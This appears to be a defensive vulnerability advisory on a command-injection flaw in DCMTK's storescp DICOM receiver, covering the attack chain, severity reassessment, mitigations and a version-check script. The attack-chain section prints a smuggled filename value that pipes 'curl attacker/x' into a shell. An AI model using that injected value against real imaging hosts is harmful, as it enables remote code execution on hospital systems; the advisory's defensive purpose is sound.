A radiology receiver that runs whatever the film label tells it to run
DCMTK's storescp is the reference DICOM Storage Service Class Provider — the daemon that sits on a PACS ingress port and accepts image objects from CT scanners, MRIs, ultrasounds, and modality workstations. Versions up to and including 3.7.0 carry a command-injection flaw in the executeOnReception and executeOnEndOfStudy hooks inside dcmnet/apps/storescp.cc. Those hooks let an operator run a shell command (--exec-on-reception <cmd>) when a study lands, and the hook substitutes attacker-influenced fields (filename, calling AE title, study UID) into the command line without neutralizing shell metacharacters. Fix ships as commit edbb085e45788dccaf0e64d71534cfca925784b8, which routes filenames through a hardened OFStandard::sanitizeFilename() allow-list.
The vendor-assigned HIGH / 7.3 with C:L/I:L/A:L is *undersold*. Once the executeOn hooks are enabled — which is the entire point of running storescp as a PACS ingress — this is unauthenticated remote code execution as the service account, not a partial-impact issue. The offsetting reality is that vanilla storescp with no --exec-on-* argument is not exploitable, and most hospitals firewall the DICOM port (104/11112) to a defined modality VLAN. Net: real severity is a firm HIGH, tipping toward CRITICAL only in ICS-medical footprints where storescp is internet-reachable or bridging clinical/OT segments.
5 steps from start to impact.
Reach a storescp listener speaking DICOM
storescp instance is bound. In enterprise reality that means the modality VLAN, a PACS DMZ, or — for teleradiology / research grids — a public IP. No credentials, no TLS client cert unless the operator enabled +tls.- Network path to DICOM port
- storescp built ≤ 3.7.0
- Association-level acceptance of calling AE (often wildcarded)
- Most hospital PACS put storescp behind a modality-only VLAN
- DICOM TLS with mutual auth blocks anonymous SCU associations
- Some sites front-end with a DICOM router (dcm4chee, Orthanc) instead of raw storescp
dicom and port 11112 — Shodan shows a few thousand exposed DICOM endpoints globally, unknown fraction running DCMTK vs dcm4che vs Orthanc.Confirm executeOn hooks are configured
--exec-on-reception, --exec-on-eostudy, or --rename-on-eostudy templates that reference #f, #a, #p, or filename tokens. Attacker can't remotely enumerate this — it's a blind exploit condition. Ops teams that use storescp purely as a bit-bucket dropbox are unaffected.- Operator opted into executeOn hook
- Hook template substitutes attacker-controllable token
- Default storescp invocation does NOT set exec hooks
- Many deployments route to
dcm4cheefor post-processing instead
Craft a malicious C-STORE association
1.2.840.10008;curl attacker/x|sh;.dcm. pynetdicom, dcmtk's own storescu, or a custom Python SCU works. On file receipt storescp substitutes the tainted filename into the configured shell string.- Ability to negotiate a Storage SOP class
- Tokens
#for filename derivatives present in the command template
- Some sites restrict called/calling AE via
--aetitleand--acse-timeoutallow-lists - Filesystem-level path validation on the storage directory can strip some chars before substitution in older builds
Shell executes as the storescp service account
dicom service user on Linux, but in field deployments this is regularly a domain-joined Windows service account or even LocalSystem on turnkey PACS appliances. From there the attacker pivots via modality worklist servers, DICOM router credentials, or joined AD identity.- storescp process has network egress or lateral reach
- Service account has meaningful privileges
- SELinux/AppArmor confinement on the storescp unit
- Egress firewall on the imaging VLAN
- Non-privileged
dicomuser with no sudo
storescp.exe → cmd.exe/sh). Whether EDR is actually installed on medical devices is the open question.Lateral movement into the clinical fabric
- Reachable clinical services from imaging host
- Credentials cached or config files readable
- Segmented clinical/enterprise networks per NIST SP 1800-24
- PAM controls on service accounts
The supporting signals.
| In-the-wild exploitation | None observed as of 2026-07-23. No public exploit campaigns tied to CVE-2026-5663; DCMTK-family bugs (CVE-2022-2119/2120, CVE-2024-27628) have historically stayed research-only. |
|---|---|
| Public PoC | No named public PoC repository yet. Trivially reproducible against a lab storescp started with --exec-on-reception 'echo #f'; PoC is a one-liner in pynetdicom. |
| EPSS | 0.01721 (~1.7%) — low, consistent with narrow deployment footprint and conditional exploit prerequisites |
| CISA KEV | Not listed as of 2026-07-23 |
| CISA ICS-Medical advisory | ICSMA-26-181-01 (OFFIS DCMTK Toolkit) — classifies as remotely exploitable, low attack complexity, healthcare/public health sector |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L = 7.3. The L/L/L impact metrics understate true impact — successful exploitation is arbitrary OS command execution, which is C:H/I:H/A:H (would score 9.8) |
| Affected versions | DCMTK ≤ 3.7.0 (including 3.6.x, 3.7.0). Any downstream product bundling storescp — vendor PACS appliances, research pipelines — inherits the flaw |
| Fixed version | Patched in git commit edbb085e45788dccaf0e64d71534cfca925784b8 on the DCMTK master branch (post-3.7.0). No tagged release yet at time of writing — distros will need to backport |
| Exposure telemetry | Shodan queries for port:11112 and port:104 dicom return low-thousands of internet-facing DICOM listeners globally; DCMTK vs alternatives split is not directly identifiable from banners |
| Disclosure & credit | Disclosed 2026-04-06 via the GitHub Security Advisory database (GHSA-c42x-qh72-7h87). CISA ICSMA published summer 2026 |
noisgate verdict.
Verdict floored at HIGH because the affected component is a canonical healthcare / OT-adjacent listener whose successful exploitation is unauthenticated remote command execution as the service account on a PACS ingress host — a role-multiplier bug in a regulated blast radius. The exploit is gated by an operator having enabled --exec-on-reception/--exec-on-eostudy, which prevents a CRITICAL rating in the general population but does not push the floor below HIGH given the ICS-medical deployment role.
Why this verdict
- Role multiplier — PACS ingress: storescp is definitionally a healthcare imaging component. Chain ends in RCE on a host that brokers modality creds, MWL, HL7 feeds, and often domain identity. Floor is HIGH.
- Role multiplier — research/lab install: on a bench workstation the same chain yields lab-only impact, no fleet blast radius. This role does not lift the floor higher.
- Impact undersold by vendor CVSS: the L/L/L subscores don't match arbitrary shell execution — 9.8 would be closer on impact alone, and we adjust the reassessed score up from 7.3.
- Friction — conditional trigger: exec-on hooks are opt-in. Fraction of storescp deployments that set them is unknown but non-trivial (post-processing pipelines commonly do). This holds the verdict at HIGH, not CRITICAL.
- Friction — network exposure: most enterprise PACS restrict DICOM port to modality VLAN; internet-facing storescp population is a few thousand hosts globally, share running DCMTK unknown.
- Friction — no active exploitation and EPSS 1.7%: no KEV entry, no observed campaigns, low near-term likelihood — but this only affects urgency, not the ceiling on severity.
Why not higher?
CRITICAL requires either KEV-level active exploitation or a canonical-role floor of CRITICAL. storescp qualifies as a high-value healthcare role but the exec-on hook precondition materially reduces the exploitable share of the install base — many storescp instances are pure receivers with no shell hook configured, giving zero-impact exposure. Absent public exploitation, HIGH is the correct bucket.
Why not lower?
MEDIUM would ignore that this is unauthenticated remote command execution on a healthcare imaging component with regulatory (HIPAA, MDR) and patient-safety adjacency. The vendor's own 7.3 places it at the HIGH boundary, and the true impact profile (H/H/H once triggered) argues against relaxing to MEDIUM.
What to do — in priority order.
- Inventory every storescp invocation for
--exec-on-*flags — Search process arguments, systemd units, and PACS appliance startup scripts for--exec-on-reception,--exec-on-eostudy,--rename-on-eostudy. Any hit is exploitable. Complete inventory within the noisgate HIGH mitigation SLA (30 days). - Strip exec hooks or replace with post-processing daemon — Where hooks exist, remove the flag and move post-processing to a queue consumer (dcm4chee-arc, custom daemon that reads the storage directory and validates filenames). Deploy within 30 days per noisgate HIGH mitigation SLA.
- Enforce DICOM segmentation and calling-AE allow-list — Restrict TCP 104/11112 to the modality VLAN and configure
storescp --aetitle/--acse-timeoutto reject unknown calling AE titles. This shrinks the reachable attacker population dramatically. - Require DICOM-TLS with mutual auth on external interfaces — For any storescp that must receive across trust boundaries (teleradiology, research consortia), enable
+tlswith client-cert validation. Anonymous SCU associations become impossible. - Roll DCMTK patch into golden PACS image — Cherry-pick commit
edbb085e45788dccaf0e64d71534cfca925784b8(or upgrade to the first tagged release containing it) into your PACS build. Ship to production within the noisgate HIGH remediation SLA of 180 days; sooner if exec hooks are in use. - Deploy EDR/anomaly detection to imaging hosts — Alert on
storescpspawningsh,cmd.exe,powershell.exe, or any non-standard child process. Medical-device-aware NDR (Claroty, Medigate, Armis) is the fallback where host agents are prohibited.
- WAFs — DICOM is a binary protocol on non-HTTP ports; web application firewalls have zero visibility
- Generic antivirus signatures — the exploit is a legitimate DICOM association with a malicious UID/AE title, not malware on disk
- Filesystem ACLs on the storage directory — the injection happens at command-template substitution time, before the shell sees a file path
- DICOM authentication alone — DICOM's AE-title 'auth' is a plaintext handshake, easily spoofed unless combined with TLS client certs
Crowdsourced verification payload.
Run on each Linux/Unix host suspected of running DCMTK storescp — invoke as root or the dicom service account with sudo ./check-cve-2026-5663.sh. Detects installed DCMTK version, checks for the sanitizeFilename patch symbol, and inspects running processes for the exploitable --exec-on-* flags.
#!/usr/bin/env bash
# noisgate verification: CVE-2026-5663 (DCMTK storescp command injection)
# Exit codes: 0=PATCHED, 1=VULNERABLE, 2=UNKNOWN
set -u
STATUS="UNKNOWN"
DETAIL=""
# 1. Locate storescp binary
BIN=$(command -v storescp || true)
if [ -z "$BIN" ]; then
for p in /usr/local/bin/storescp /opt/dcmtk/bin/storescp /usr/bin/storescp; do
[ -x "$p" ] && BIN="$p" && break
done
fi
if [ -z "$BIN" ]; then
echo "UNKNOWN: storescp binary not found on PATH"
exit 2
fi
# 2. Extract reported version
VER=$($BIN --version 2>&1 | grep -Eo '[0-9]+\.[0-9]+\.[0-9]+' | head -1)
DETAIL="binary=$BIN version=${VER:-unknown}"
# 3. Version comparison — anything <= 3.7.0 without patch is vulnerable
vuln_by_version=0
if [ -n "$VER" ]; then
# crude semver: sort -V then check
first=$(printf '%s\n%s\n' "$VER" "3.7.0" | sort -V | head -1)
if [ "$first" = "$VER" ] || [ "$VER" = "3.7.0" ]; then
vuln_by_version=1
fi
fi
# 4. Look for the patched sanitizeFilename symbol in the binary / libofstd
SYMHIT=0
for lib in "$BIN" $(ldd "$BIN" 2>/dev/null | awk '/libofstd|libdcmnet/ {print $3}'); do
[ -r "$lib" ] || continue
if strings "$lib" 2>/dev/null | grep -q 'sanitizeFilename'; then
SYMHIT=1
fi
done
# 5. Check running processes for --exec-on-* flags
EXEC_FLAG=$(ps -eo args= 2>/dev/null | grep -E '[s]torescp' | grep -Eo -- '--exec-on-(reception|eostudy)|--rename-on-eostudy' | head -1)
if [ $vuln_by_version -eq 1 ] && [ $SYMHIT -eq 0 ]; then
STATUS="VULNERABLE"
[ -n "$EXEC_FLAG" ] && DETAIL="$DETAIL exploit-precondition=CONFIGURED($EXEC_FLAG)" || DETAIL="$DETAIL exploit-precondition=not-currently-set-but-binary-vulnerable"
elif [ $SYMHIT -eq 1 ]; then
STATUS="PATCHED"
DETAIL="$DETAIL sanitizeFilename=present"
else
STATUS="UNKNOWN"
fi
echo "$STATUS: $DETAIL"
case "$STATUS" in
PATCHED) exit 0 ;;
VULNERABLE) exit 1 ;;
*) exit 2 ;;
esac
If you remember one thing.
pacs, dicom, imaging, or radiology in your CMDB, and grep systemd units and appliance boot scripts for --exec-on-reception/--exec-on-eostudy. Any hit with a configured exec hook is a HIGH-priority mitigation — strip the flag or replace the pipeline within the noisgate mitigation SLA of ≤ 30 days, and enforce modality-VLAN segmentation on TCP 104/11112 in the same window. Cherry-pick commit edbb085e45788dccaf0e64d71534cfca925784b8 into your PACS golden image (or upgrade to the first tagged DCMTK release containing it, plus distro backports for Debian/RHEL/SUSE) and ship to production within the noisgate remediation SLA of ≤ 180 days. No KEV listing and EPSS 1.7% means you're not chasing an active campaign — but do not let this slip past the SLA on the basis of vendor 7.3 alone, because on a PACS ingress the true impact is unauthenticated RCE with regulated-data blast radius.Sources
- GitHub Security Advisory GHSA-c42x-qh72-7h87
- CISA ICSMA-26-181-01 — OFFIS DCMTK Toolkit
- SentinelOne vulnerability database — CVE-2026-5663
- RedPacket Security — CVE-2026-5663 alert
- OpenCVE — DCMTK vendor CVE history
- CodeAnt — DCMTK storescp OS command injection analysis
- CWE-77 — Command Injection
- DCMTK project
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.